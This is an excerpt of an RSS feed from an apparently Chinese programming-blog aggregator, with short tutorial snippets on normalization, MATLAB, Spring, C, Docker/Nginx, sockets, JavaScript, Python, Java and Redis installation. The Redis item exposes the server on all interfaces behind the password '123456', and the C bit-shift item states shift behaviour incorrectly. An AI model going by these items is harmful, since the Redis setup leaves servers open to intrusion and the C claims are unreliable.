以上为两种比较普通但是常用的归一化技术，那这两种归一化的应用场景是怎么样的呢？什么时候第一种方法比较好、什么时候第二种方法比较好呢？下面做一个简要的分析概括： 1、在分类、聚类算法中，需要使用距离来度量相似性的时候、或者使用PCA技术进行降维的时候，第二种方法(Z-score standardization)表现更好。 2、在不涉及距离度量、协方差计算、数据不符合正太分布的时候，可以使用第一种方法或其他归一化方法。比如图像处理中，将RGB图像转换为灰度图像后将其值限定在[0 255]的范围。 /// 关于神经网络归一化方法的整理 由于采集的各数据单位不一致，因而须对数据进行[-1，1]归一化处理，归一化方法主要有如下几种，供大家参考：（by james） 1、线性函数转换，表达式如下： y=(x-MinValue)/(MaxValue-MinValue) 说明：x、y分别为转换前、后的值，MaxValue、MinValue分别为样本的最大值和最小值。 2、对数函数转换，表达式如下： y=log10(x) 说明：以10为底的对数函数转换。 3、反余切函数转换，表达式如下： y=atan(x)*2/PI 归一化是为了加快训练网络的收敛性，可以不进行归一化处理 归一化的具体作用是归纳统一样本的统计分布性。归一化在0-1之间是统计的概率分布，归一化在-1–+1之间是统计的坐标分布。归一化有同一、 统一和合一的意思。无论是为了建模还是为了计算，首先基本度量单位要同一，神经网络是以样本在事件中的统计分别几率来进行训练（概率计算）和预测的，归一 化是同一在0-1之间的统计概率分布； 当所有样本的输入信号都为正值时，与第一隐含层神经元相连的权值只能同时增加或减小，从而导致学习速度很慢。为了避免出现这种情况，加快网络学习速度，可以对输入信号进行归一化，使得所有样本的输入信号其均值接近于0或与其均方差相比很小。 归一化是因为sigmoid函数的取值是0到1之间的，网络最后一个节点的输出也是如此，所以经常要对样本的输出归一化处理。所以这样做分类的问题时用[0.</description>
    </item>
    <item>
      <title>蚁群算法：寻食路径选择 （matlab实现）</title>
      <link>https://bchobby.github.io/posts/4c8364a2ee98b11b1fba2bf34af1947c/</link>
      <pubDate>Fri, 27 Oct 2017 20:08:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c8364a2ee98b11b1fba2bf34af1947c/</guid>
      <description>转载请注明出处：http://blog.csdn.net/microlyc&#xA;由 http://blog.csdn.net/ibelievefly/article/details/47955473 旅行商问题改写；&#xA;function ant() Q=400;%Q表示信息素增强的系数 %nc_now表示当前的迭代次数 nc_max=9999; %nc_max表示自主设置的最大迭代时间 表示终止条件 %first_address表示测试数据中的城市坐标 %RouteOfBest表示各代的最佳路线 %LengthOfBest表示每次迭代的最佳路线的长度 a = 3;%a=0.7表示启发因子，表示信息素的相对重要程度!!!!!!!!!!!很重要 p = 0.1;%p表示信息素的蒸发系数，（1-p）表示信息素持久性系数 %%第一步：变量初始化 SumOfant=30;%SumOfant表示蚂蚁数量 first_address = [%第一个为家，最后一个是食物源 0 3 0 2 -10 0 1 0 6 0 0 -2 0 -3 ];%first_address表示测试数据中的城市坐标 target = [1,length(first_address)]; SumOfCity = size(first_address,1); length_address =inf.*ones(SumOfCity,SumOfCity);%length_address表示两两城市间的距离 length_address(1,2)= Calculation_length(first_address,1,2); length_address(2,3)= Calculation_length(first_address,2,3); length_address(3,6)= Calculation_length(first_address,3,6); length_address(6,7)= Calculation_length(first_address,6,7); length_address(4,6)= Calculation_length(first_address,4,6); length_address(2,4)= Calculation_length(first_address,2,4); length_address(5,6)= Calculation_length(first_address,5,6); length_address(2,5)= Calculation_length(first_address,2,5); for n=1:size(first_address) for m=1:size(first_address) if length_address(n,m)~=inf length_address(m,n)=length_address(n,m); %对称矩阵 end end end info_pre=ones(SumOfCity,SumOfCity); %info_pre为信息素矩阵,可以理解为在蚂蚁还没有被放入城市前，每条道路上就已经存在了一定含量的信息素（只是为了方便计算） EachOfRoute=zeros(SumOfant,SumOfCity); %存储并记录每次迭代时每只蚂蚁经历的路径生成； nc_now=1; %迭代计数器，记录迭代次数 target_i=target(2).</description>
    </item>
    <item>
      <title>获取SSM项目中所有的URL</title>
      <link>https://bchobby.github.io/posts/b2c3475f5b7c9e1871ba4df515cb62f6/</link>
      <pubDate>Thu, 26 Oct 2017 14:10:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2c3475f5b7c9e1871ba4df515cb62f6/</guid>
      <description>1、在springmvc配置加上两个bean：&#xA;&amp;lt;bean class=&#34;org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping&#34;/&amp;gt; &amp;lt;bean class=&#34;org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter&#34;/&amp;gt; 2、在controller注入RequestMappingHandlerAdapter：&#xA;@Autowired RequestMappingHandlerMapping requestMappingHandlerMapping; 3、controller添加mapping：&#xA;@RequestMapping(&#34;/index.action&#34;) @ResponseBody public Object index(HttpServletRequest request) { List&amp;lt;HashMap&amp;lt;String, String&amp;gt;&amp;gt; urlList = new ArrayList&amp;lt;HashMap&amp;lt;String, String&amp;gt;&amp;gt;(); Map&amp;lt;RequestMappingInfo, HandlerMethod&amp;gt; map = requestMappingHandlerMapping.getHandlerMethods(); for (Map.Entry&amp;lt;RequestMappingInfo, HandlerMethod&amp;gt; m : map.entrySet()) { HashMap&amp;lt;String, String&amp;gt; hashMap = new HashMap&amp;lt;String, String&amp;gt;(); RequestMappingInfo info = m.getKey(); HandlerMethod method = m.getValue(); PatternsRequestCondition p = info.getPatternsCondition(); for (String url : p.getPatterns()) { hashMap.put(&#34;url&#34;, url); } hashMap.put(&#34;className&#34;, method.getMethod().getDeclaringClass().getName()); // 类名 hashMap.put(&#34;method&#34;, method.</description>
    </item>
    <item>
      <title>函数返回局部变量的几种情况</title>
      <link>https://bchobby.github.io/posts/9f9b77ebf45ba9f24e138eaa5e6fa817/</link>
      <pubDate>Wed, 25 Oct 2017 12:15:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f9b77ebf45ba9f24e138eaa5e6fa817/</guid>
      <description>转载 http://blog.csdn.net/haiwil/article/details/6691854/&#xA;本文主要详细讨论了返回返回局部变量的几种情况，值得大家注意。&#xA;准确的来说，函数不能通过返回指向栈内存的指针(注意这里指的是栈，返回指向堆内存的指针是可以的)。&#xA;下面以函数返回局部变量的指针举几个典型的例子来说明：&#xA;1：&#xA;[cpp] view plain copy #include &amp;lt;stdio.h&amp;gt; char *returnStr() { char *p=&#34;hello world!&#34;; return p; } int main() { char *str; str=returnStr(); printf(&#34;%s\n&#34;, str); return 0; } 这个没有任何问题，因为&#34;hello world!&#34;是一个字符串常量，存放在只读数据段，把该字符串常量存放的只读数据段的首地址赋值给了指针，所以returnStr函数退出时，该该字符串常量所在内存不会被回收，故能够通过指针顺利无误的访问。&#xA;2：&#xA;[html] view plain copy #include &amp;lt;stdio.h&amp;gt; char *returnStr() { char p[]=&#34;hello world!&#34;; return p; } int main() { char *str; str=returnStr(); printf(&#34;%s\n&#34;, str); return 0; } &#34;hello world!&#34;是局部变量存放在栈中。当returnStr函数退出时，栈要清空，局部变量的内存也被清空了，所以这时的函数返回的是一个已被释放的内存地址，所以有可能打印出来的是乱码。 3：&#xA;[html] view plain copy int func() { int a; .</description>
    </item>
    <item>
      <title>用vmware装的黑苹果终于可以上网了</title>
      <link>https://bchobby.github.io/posts/b0db257862f0ca543e3c41b1908ea457/</link>
      <pubDate>Tue, 24 Oct 2017 09:28:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0db257862f0ca543e3c41b1908ea457/</guid>
      <description>1 虚拟机用nat方式连接，开始dns死活设置不了&#xA;2 系统设置中删除以太网再重新添加，dns终于自动出来了&#xA;3选择手动，设置后ip后，以太网都已连接，竟然见鬼还是上不了网&#xA;4后来重启，选择 使用DHCP（手动设置地址），再设置ip地址子网掩码网关&#xA;5然后终于可以上网了</description>
    </item>
    <item>
      <title>three.js 01-02 之首个场景（续）</title>
      <link>https://bchobby.github.io/posts/2967914b60b2d2cc0515e73ab6dd4d45/</link>
      <pubDate>Mon, 23 Oct 2017 16:22:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2967914b60b2d2cc0515e73ab6dd4d45/</guid>
      <description>在上一个示例中，我们仅在场景里添加了一个坐标轴，本篇我们将在上一个示例中，继续添加几个图形进去。我们仍然以上一个示例为范本，找到其中的第40行代码如下：&#xA;scene.add(new THREE.AxisHelper(20));// 加入坐标轴&#xA;然后我们继续在其后追加以下代码行：&#xA;// 加入一个几何平面 var planeGeometry = new THREE.PlaneGeometry(60, 20, 1, 1); var planeMaterial = new THREE.MeshBasicMaterial( {color: 0xCCCCCC, side: THREE.DoubleSide, wireframe: false} ); var plane = new THREE.Mesh(planeGeometry, planeMaterial); plane.rotation.x = -0.5 * Math.PI; // 沿着 X轴旋转-90° plane.position.x = 15; // 几何平面位置沿着 x轴右移 15个单位 plane.position.y = 0; // 几何平面位置 y轴为 0 plane.position.z = 0; // 几何平面位置 z轴为 0 scene.add(plane); // 加入一个立方体 var cubeGeometry = new THREE.</description>
    </item>
    <item>
      <title>thymeleaf中使用layui 的自动化表格显示对象的某一属性值（格式化输出）</title>
      <link>https://bchobby.github.io/posts/92305db4a05dfa49c0a25bceb79b632b/</link>
      <pubDate>Mon, 23 Oct 2017 13:25:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92305db4a05dfa49c0a25bceb79b632b/</guid>
      <description>类似easyui 的formatter&#xA;网上没找到方法，最后看的官方文档自己试着可以用了，时间 超链接 同理&#xA;分页返回blog list blogType对象无法直接在表格中显示 需要使用 ,templet:&#xA;js&#xA;&amp;lt;script th:inline=&#34;javascript&#34; type=&#34;text/javascript&#34; id=&#34;blogType&#34;&amp;gt; {{# if( d.blogType != null){ }} {{ d.blogType.typeName }} {{# } }} &amp;lt;/script&amp;gt;表格 &amp;lt;thead&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;th lay-data=&#34;{checkbox:true, fixed: true}&#34;&amp;gt;&amp;lt;/th&amp;gt; &amp;lt;th lay-data=&#34;{field:&#39;id&#39;, width:&#39;50&#39;, sort: true, fixed: true}&#34;&amp;gt;编号&amp;lt;/th&amp;gt; &amp;lt;th lay-data=&#34;{field:&#39;title&#39;, width:&#39;250&#39;}&#34;&amp;gt;标题&amp;lt;/th&amp;gt; &amp;lt;th lay-data=&#34;{field:&#39;releaseDate&#39;, width:&#39;200&#39;, sort: true}&#34;&amp;gt;发布日期&amp;lt;/th&amp;gt;类型 &amp;lt;th id=&#34;blogType&#34; lay-data=&#34;{field:&#39;blogType&#39;, width:&#39;200&#39;,templet: &#39;#blogType&#39;}&#34;&amp;gt;博客类型&amp;lt;/th&amp;gt; &amp;lt;th lay-data=&#34;{fixed: &#39;right&#39;, width:&#39;250&#39;, align:&#39;center&#39;, toolbar: &#39;#barDemo&#39;}&#34;&amp;gt;&amp;lt;/th&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/thead&amp;gt; 这样就可以显示了 补：如果显示正常但是浏览器报错在{ {}} 可以选择修改layui的默认模板标签（{{ }}） 可能是和thymeleaf冲突，而且不同浏览器对这个处理不同。</description>
    </item>
    <item>
      <title>论Docker容器中的Nginx配置文件如何读取系统/容器的环境变量</title>
      <link>https://bchobby.github.io/posts/ba3ae57f3f3a23836cc621e3b8a4da7d/</link>
      <pubDate>Sun, 22 Oct 2017 15:17:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba3ae57f3f3a23836cc621e3b8a4da7d/</guid>
      <description>需求背景: 集群中,每一台服务器都有自己的Nginx, 转发请求到本机的应用. 应用与Nginx都通过Docker部署.随之而来的一个问题是,应用是无状态的,可以通过一个镜像在所有的机器上运行,而Nginx需要转发到本机的应用,在每台服务器的Nginx配置文件中不可避免地需要写上本机的内网IP,也就是镜像似乎不能通用. 在此,我想到的一种方法是,启动Nginx Docker容器时, 通过 –env 参数,传入一个自定义的环境变量到容器中,比如变量叫 HOST_IP, 通过 $ ifconfig eth0|grep inet|awk &#39;{print $2}&#39;获取本机内网IP赋值给HOST_IP,那么容器中的nginx.conf又如何才能读取到这个环境变量呢? 于是我查看了一些方法,其中有一种方法可供参考 - https://segmentfault.com/q/1010000006124117&#xA;查看Nginx的官方镜像,可以找到下面这段话&#xA;Using environment variables in nginx configuration Out-of-the-box, nginx doesn’t support environment variables inside most configuration blocks. But envsubst may be used as a workaround if you need to generate your nginx configuration dynamically before nginx starts.&#xA;Here is an example using docker-compose.yml:&#xA;web: image: nginx volumes: - ./mysite.template:/etc/nginx/conf.d/mysite.template ports: - “8080:80” environment: - NGINX_HOST=foobar.</description>
    </item>
    <item>
      <title>网络中进程间的通信</title>
      <link>https://bchobby.github.io/posts/fcecac5abd340d14a8385f00483ab1b7/</link>
      <pubDate>Thu, 19 Oct 2017 18:59:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcecac5abd340d14a8385f00483ab1b7/</guid>
      <description>进 程通信的概念最初来源于单机系统。由于每个进程都在自己的地址范围内运行，为保证两个相互通信的进程之间既互不干扰又协调一致工作，操作系统为进程通信提供了相应设施，如UNIX BSD有：管道（pipe）、命名管道（named pipe）软中断信号（signal）UNIX system V有：消息（message）、共享存储区（shared memory）和信号量（semaphore)等. 他们都仅限于用在本机进程之间通信。网间进程通信要解决的是不同主机进程间的相互通信问题（可把同机进程通信看作是其中的特例）。为此，首先要解决的是网间进程标识问题。同一主机上，不同进程可用进程号（process ID）唯一标识。但在网络环境下，各主机独立分配的进程号不能唯一标识该进程。例如，主机A赋于某进程号5，在B机中也可以存在5号进程，因此，“5号进程”这句话就没有意义了。 其次，操作系统支持的网络协议众多，不同协议的工作方式不同，地址格式也不同。因此，网间进程通信还要解决多重协议的识别问题。 其实TCP/IP协议族已经帮我们解决了这个问题，网络层的“ip地址”可以唯一标识网络中的主机，而传输层的“协议+端口”可以唯一标识主机中的应用程序（进程）。这样利用三元组（ip地址，协议，端口）就可以标识网络的进程了，网络中的进程通信就可以利用这个标志与其它进程进行交互。 使用TCP/IP协议的应用程序通常采用应用编程接口：UNIX BSD的套接字（socket）和UNIX System V的TLI（已经被淘汰），来实现网络进程之间的通信。就目前而言，几乎所有的应用程序都是采用socket，而现在又是网络时代，网络中进程通信是无处不在，这就是我为什么说“一切皆socket”。 2. 什么是TCP/IP、UDP TCP/IP（Transmission Control Protocol/Internet Protocol）即传输控制协议/网间协议，是一个工业标准的协议集，它是为广域网（WANs）设计的。 UDP（User Data Protocol，用户数据报协议）是与TCP相对应的协议。它是属于TCP/IP协议族中的一种。如图： TCP/IP协议族包括运输层、网络层、链路层， 而socket所在位置如图，Socket是应用层与TCP/IP协议族通信的中间软件抽象层。 3. Socket是什么 socket起源于Unix，而Unix/Linux基本哲学之一就是“一切皆文件”，都可以用“打开open –&amp;gt; 读写write/read –&amp;gt; 关闭close”模式来操作。Socket就是该模式的一个实现，socket即是一种特殊的文件，一些socket函数就是对其进行的操作（读/写IO、打开、关闭）. 说白了Socket是应用层与TCP/IP协议族通信的中间软件抽象层，它是一组接口。在设计模式中，Socket其实就是一个门面模式，它把复杂的TCP/IP协议族隐藏在Socket接口后面，对用户来说，一组简单的接口就是全部，让Socket去组织数据，以符合指定的协议。 注意：其实socket也没有层的概念，它只是一个facade设计模式的应用，让编程变的更简单。是一个软件抽象层。在网络编程中，我们大量用的都是通过socket实现的。 4. 基本的SOCKET接口函数 在生活中，A要电话给B，A拨号，B听到电话铃声后提起电话，这时A和B就建立起了连接，A和B就可以讲话了。等交流结束，挂断电话结束此次交谈。 打电话很简单解释了这工作原理：“open—write/read—close”模式。 服务器端先初始化Socket，然后与端口绑定(bind)，对端口进行监听(listen)，调用accept阻塞，等待客户端连接。在这时如果有个客户端初始化一个Socket，然后连接服务器(connect)，如果连接成功，这时客户端与服务器端的连接就建立了。客户端发送数据请求，服务器端接收请求并处理请求，然后把回应数据发送给客户端，客户端读取数据，最后关闭连接，一次交互结束。 4.1、socket()函数 intsocket(int domain,int type,int protocol);//返回sockfd socket函数对应于普通文件的打开操作。普通文件的打开操作返回一个文件描述字，而socket()用于创建一个socket描述符（socket descriptor），它唯一标识一个socket。这个socket描述字跟文件描述字一样，后续的操作都有用到它，把它作为参数，通过它来进行一些读写操作。 正如可以给fopen的传入不同参数值，以打开不同的文件。创建socket的时候，也可以指定不同的参数创建不同的socket描述符，socket函数的三个参数分别为： domain：即协议域，又称为协议族（family）。常用的协议族有，AF_INET、AF_INET6、AF_LOCAL（或称AF_UNIX，Unix域socket）、AF_ROUTE等等。协议族决定了socket的地址类型，在通信中必须采用对应的地址，如AF_INET决定了要用ipv4地址（32位的）与端口号（16位的）的组合、AF_UNIX决定了要用一个绝对路径名作为地址。 type：指定socket类型。常用的socket类型有，SOCK_STREAM、SOCK_DGRAM、SOCK_RAW、SOCK_PACKET、SOCK_SEQPACKET等等（socket的类型有哪些？）。 protocol：故名思意，就是指定协议。常用的协议有，IPPROTO_TCP、IPPTOTO_UDP、IPPROTO_SCTP、IPPROTO_TIPC等，它们分别对应TCP传输协议、UDP传输协议、STCP传输协议、TIPC传输协议（这个协议我将会单独开篇讨论！）。 注意：并不是上面的type和protocol可以随意组合的，如SOCK_STREAM不可以跟IPPROTO_UDP组合。当protocol为0时，会自动选择type类型对应的默认协议。 当我们调用socket创建一个socket时，返回的socket描述字它存在于协议族（address family，AF_XXX）空间中，但没有一个具体的地址。如果想要给它赋值一个地址，就必须调用bind()函数，否则就当调用connect()、listen()时系统会自动随机分配一个端口。 4.2、bind()函数 正如上面所说bind()函数把一个地址族中的特定地址赋给socket。例如对应AF_INET、AF_INET6就是把一个ipv4或ipv6地址和端口号组合赋给socket。 intbind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 函数的三个参数分别为： sockfd：即socket描述字，它是通过socket()函数创建了，唯一标识一个socket。bind()函数就是将给这个描述字绑定一个名字。 addr：一个const struct sockaddr *指针，指向要绑定给sockfd的协议地址。这个地址结构根据地址创建socket时的地址协议族的不同而不同，如ipv4对应的是： struct in_addr { unsigned long s_addr; }; struct sockaddr结构用来保存套接字地址信息，其定义如下： struct sockaddr { unsigned short sa_family; /* 地址族, AF_xxx */ char sa_data[14]; /* 14字节的协议地址*/ }; struct sockaddr结构中sa_family成员说明的是地址族类型，一般为“AF_INET”；而sa_data则包含远程主机的IP地址和端口等信息。 struct sockaddr结构类型使用在socket的相关系统调用函数中，但这个结构sa_data字段可以包含较多信息，不利于方便编程和对其进行赋值，因此建立了struct sockaddr_in结构，该结构与struct sockaddr结构大小相等，能更好处理struct sockaddr结构中的数据。对struct sockaddr_in结构变量进行赋值完成后，在进行socket相关系统调用时，再将struct sockaddr_in结构变量强制转换为struct sockaddr结构类型。 struct sockaddr_in结构定义如下： struct sockaddr_in { /*“in” 代表“Internet”*/ short int sin_family; /* Internet地址族*/ unsigned short int sin_port; /* 端口号*/ struct in_addr sin_addr; /* Internet地址*/ unsigned char sin_zero[8]; /* 填充0（为了保持和struct sockaddr一样大小）*/ }; 在实际应用编程中，对套接字地址结构使用方法和流程如下： ① 首先，定义一个sockaddr_in结构变量，并将它初始化为0，代码如下： struct sockaddr_in myad; memset(&amp;amp;myad,0,sizeof(struct sockaddr_in)); ② 然后，给这个结构变量赋值，代码如下： myad.</description>
    </item>
    <item>
      <title>浅谈js解决多线程 webWorker介绍</title>
      <link>https://bchobby.github.io/posts/77bf6d26389570a674ef3dc2bbd78ec4/</link>
      <pubDate>Thu, 19 Oct 2017 17:04:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77bf6d26389570a674ef3dc2bbd78ec4/</guid>
      <description>由于JavaScript不支持多线程，所以无法去像Java一样用代码控制和创建一个后台进程。因此，在项目的优化时候就遇到了很难解决的问题。&#xA;AJAX与webWorker结合 在项目中，我需要在用户进到某个账号时需要同时展示聊天列表和好友列表！ 问题分析： 如果好友数量比较少的话，那么问题很简单！直接ajax加载就好了！ 但是！这个人际关系复杂的社会怎么可能没有好友上万的人呢！所以，直接加载显然是不行的！ 先说说某web聊天网页的做法！分页加载，在用户滚动滑轮或滚动条时候加载之后的一段好友列表。这也是最常用的方法。 而面对这个问题，如果先加载聊天列表，再点击好友列表再加载好友列表的话就会出现两次加载的现象！ 因此，需要在加载聊天列表同时加载一段好友列表，这样就不会出现两次加载的现象！ 这样就会有另一个问题！两个请求需要最快的请求回来！ 首先，看一下两种方法的请求速度！ 这是两个ajax先后同时请求！ 这是webworker实现两个请求！ 好吧！看下代码！&#xA;index.js worker = new Worker(&#34;/static/js/worker.js&#34;); //最好先判断浏览器是否支持worker,我的项目用的是谷歌，所以就不判断了！ //最好不要反复创建worker 因为worker是开辟了一个新空间 worker.postMessage({ type:&#34;all&#34;, id:id }); //发送消息到worker.js中 worker.addEventListener(&#34;message&#34;,function(e){ console.log(&#34;接收消息&#34;,e.data.content); }) //监听worker发回来的消息！ worker.js onmessage = function (event){//监听消息 console.log(&#34;worker.event.data:&#34;,event.data); var postStr =&#34;par_ser=&#34;+event.data.id; var url =&#34;&#34;; if(event.data.type == &#34;all&#34;){ url = &#34;/api/getwxinfo/getCustomer&#34;; }else if(event.data.type == &#34;char&#34;){ url = &#34;/api/getwxinfo/getchating&#34;; postStr = postStr+&#34;&amp;amp;num=&#34;+event.data.num; } var xmlhttp=new XMLHttpRequest(); var content = &#34;&#34;; xmlhttp.open(&#39;POST&#39;,url,true); xmlhttp.setRequestHeader(&#34;Content-Type&#34;,&#34;application/x-www-form-urlencoded&#34;); xmlhttp.</description>
    </item>
    <item>
      <title>Html5 突破微信限制实现大文件分割上传</title>
      <link>https://bchobby.github.io/posts/e03a3bbb3b510661e51a1cf5b4c6acbf/</link>
      <pubDate>Thu, 19 Oct 2017 11:19:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e03a3bbb3b510661e51a1cf5b4c6acbf/</guid>
      <description>先来前端代码&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width&#34; /&amp;gt; &amp;lt;title&amp;gt;大文件分割上传&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;~/js/jquery.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; var page = { init: function () { $(&#34;#subUpload&#34;).click($.proxy(this.upload, this)); }, upload: function () { var file = $(&#34;#fileUpload&#34;)[0].files[0], //文件对象 name = file.name, //文件名 size = file.size, //总大小 succeed = 0; var shardSize = 290 * 1024, //以290kb为一个分片,换算1MB=1 * 1024 * 1024 shardCount = Math.ceil(size / shardSize); //总片数 for (var i = 0; i &amp;lt; shardCount; ++i) { //计算每一片的起始与结束位置 var start = i * shardSize, end = Math.</description>
    </item>
    <item>
      <title>1、Python 日期时间格式化输出</title>
      <link>https://bchobby.github.io/posts/d08429bca072b4d5d7803c941697265a/</link>
      <pubDate>Tue, 17 Oct 2017 16:43:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d08429bca072b4d5d7803c941697265a/</guid>
      <description>作者新建了QQ群：460430320，供大家交流测试心得（培训机构勿进）。另外，还会不定期上传测试资料，也欢迎您共享测试资料。&#xA;今天帮朋友写自动化脚本，又需要用格式化日期，又忘记怎么写了，还是写到自己博客里面，方便日后需要的时候看一眼吧。So，临时加一篇 Python 的文章。&#xA;1、Python的time模块&#xA;import time print(time.time()) #输出的是时间戳 print(time.localtime(time.time())) #作用是格式化时间戳为本地的时间 # 最后用time.strftime()方法，把刚才的一大串信息格式化成我们想要的东西 print(time.strftime(&#39;%Y-%m-%d&#39;,time.localtime(time.time()))) 运行结果：&#xA;C:\Python36\python.exe E:/python/test1/day1/test10.py&#xA;1508229738.234413&#xA;time.struct_time(tm_year=2017, tm_mon=10, tm_mday=17, tm_hour=16, tm_min=42, tm_sec=18, tm_wday=1, tm_yday=290, tm_isdst=0)&#xA;2017-10-17&#xA;2、time.strftime()方法参数&#xA;time.strftime里面有很多参数，可以让你能够更随意的输出自己想要的东西：&#xA;下面是time.strftime的参数：&#xA;strftime(format[, tuple]) -&amp;gt; string&#xA;将指定的struct_time(默认为当前时间)，根据指定的格式化字符串输出&#xA;python中时间日期格式化符号：&#xA;%y 两位数的年份表示（00-99）&#xA;%Y 四位数的年份表示（000-9999）&#xA;%m 月份（01-12）&#xA;%d 月内中的一天（0-31）&#xA;%H 24小时制小时数（0-23）&#xA;%I 12小时制小时数（01-12） %M 分钟数（00=59）&#xA;%S 秒（00-59）&#xA;%a 本地简化星期名称&#xA;%A 本地完整星期名称&#xA;%b 本地简化的月份名称&#xA;%B 本地完整的月份名称&#xA;%c 本地相应的日期表示和时间表示&#xA;%j 年内的一天（001-366）&#xA;%p 本地A.M.或P.M.的等价符&#xA;%U 一年中的星期数（00-53）星期天为星期的开始</description>
    </item>
    <item>
      <title>C语言的左移和右移</title>
      <link>https://bchobby.github.io/posts/4713f336caa54008d359535ca6b1b674/</link>
      <pubDate>Tue, 17 Oct 2017 16:18:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4713f336caa54008d359535ca6b1b674/</guid>
      <description>在C中,左移是逻辑/算术左移(两者完全相同),右移是算术右移,会保持符号位不变&#xA;左移：&#xA;当左移的位数不超过该数值类型的最大位数时：逻辑左移（补0，丢弃最高位）&#xA;当左移的位数超过该数值类型的最大位数时：编译器会用左移的位数去模类型的最大位数,然后按余数进行移位（只是执行：左移 所得的余数 个位数）&#xA;int i = 1, j = 0x80000000; //设int为32位 i = i &amp;lt;&amp;lt; 33; // 33 % 32 = 1 只左移1位,i变成2 j = j &amp;lt;&amp;lt; 33; // 33 % 32 = 1 只左移1位,j变成0,最高位1被丢弃 右移：&amp;gt;&amp;gt;&#xA;算术右移：保持符号位不变,正数的话补0,负数补1,（补符号位）&#xA;int i = 0x80000000; i = i &amp;gt;&amp;gt; 1; //i的值不会变成0x40000000,而会变成0xc0000000 当移动的位数超过类型的长度时,会取余数,然后移动余数个位. &amp;gt;&amp;gt;&amp;gt; 向右移动的过程中，不管原来数的最高位是1还是0，都补0，所以我们应该根据需要来选择，右移是用&amp;gt;&amp;gt;&amp;gt;还是&amp;gt;&amp;gt;&#xA;参考：http://blog.csdn.net/tdcs111/article/details/61929445.</description>
    </item>
    <item>
      <title>#ICZ4V 编译报错：Error:Unable to load class &#39;org.gradle.logging.StyledTextOutput$Style&#39;.</title>
      <link>https://bchobby.github.io/posts/98bb7d291a93a3af0b66415797fefe8e/</link>
      <pubDate>Tue, 17 Oct 2017 14:50:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98bb7d291a93a3af0b66415797fefe8e/</guid>
      <description>2种解决方式&#xA;方式1 ----修改gradle 版本为 2.14.1 修改plugin Version版本为2.2.3&#xA;方式2 -----升级到 classpath &#39;com.getkeepsafe.dexcount:dexcount-gradle-plugin:0.6.4&#39;，Gradle用3.3的就能解决这个问题</description>
    </item>
    <item>
      <title>java让2个线程交替执行，每个线程执行1秒</title>
      <link>https://bchobby.github.io/posts/39065e1a82e9e13c454b1ae03a0b992f/</link>
      <pubDate>Tue, 17 Oct 2017 11:07:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39065e1a82e9e13c454b1ae03a0b992f/</guid>
      <description>java让2个线程交替执行，每个线程执行1秒：&#xA;package tf56.SpringBoot.Annotation; /** * Created by Administrator on 2017/10/17. */ public class Test2 { private static int state = 1; public static void main(String[] args) { final Test2 t=new Test2(); new Thread(new Runnable() { @Override public void run() { while (true) { synchronized (t) { if (state != 1) { try { t.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } try { System.out.println(&#34;轮到线程一开始执行&#34;); Thread.sleep(1000); } catch (InterruptedException e) { e.</description>
    </item>
    <item>
      <title>通过Xshell连接linux——安装Redis</title>
      <link>https://bchobby.github.io/posts/acb5b26ce6e8fafe15bec5bd5b86bfeb/</link>
      <pubDate>Mon, 16 Oct 2017 14:26:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acb5b26ce6e8fafe15bec5bd5b86bfeb/</guid>
      <description>通过Xshell连接linux——安装Redis&#xA;一、 创建目录 mkdir redis&#xA;二、 下载安装包 wget -chttps://github.com/antirez/redis/archive/4.0.2.tar.gz -O redis-4.0.2.tar.gz&#xA;三、 解压安装包 tar xzf redis-4.0.2.tar.gz&#xA;四、 编译 make 编译全部&#xA;五、 安装 make install 安装&#xA;六、 启动 src/redis-server&#xA;七、 测试 开启一个命令行窗口 进入Redis目录进行测试:&#xA;src/redis-cli&#xA;set name value&#xA;get name&#xA;shutdown 关闭Redis Server&#xA;八、 配置（redis.conf） 1. 修改服务绑定ip地址&#xA;找到bind127.0.0.1 修改为#127.0.0.1，注释该绑定，使用redis服务器绑定本机所有ip&#xA;2. 添加访问密码&#xA;为了安全。对redis添加密码要求，在protected-mode yes下面插入&#xA;#设置密码&#xA;requirepass 123456&#xA;3.修改为后台服务方式运行&#xA;找到daemonize no 将其修改为daemonize ye，表示以后台服务运行。</description>
    </item>
    <item>
      <title>无人驾驶汽车系统入门（一）——卡尔曼滤波与目标追踪</title>
      <link>https://bchobby.github.io/posts/d46fdf255cd917e77b7c51196efe093c/</link>
      <pubDate>Mon, 16 Oct 2017 12:30:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d46fdf255cd917e77b7c51196efe093c/</guid>
